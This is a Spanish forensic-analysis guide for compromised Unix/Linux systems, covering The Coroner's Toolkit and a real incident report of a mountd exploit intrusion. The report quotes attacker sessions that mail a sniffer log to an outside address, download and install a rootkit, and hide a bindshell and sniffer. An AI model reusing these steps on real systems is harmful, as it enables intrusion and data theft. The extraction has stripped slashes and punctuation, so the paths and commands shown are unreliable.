17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 26: Análisis Forense de Sistemas GNU/Linux, Unix

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

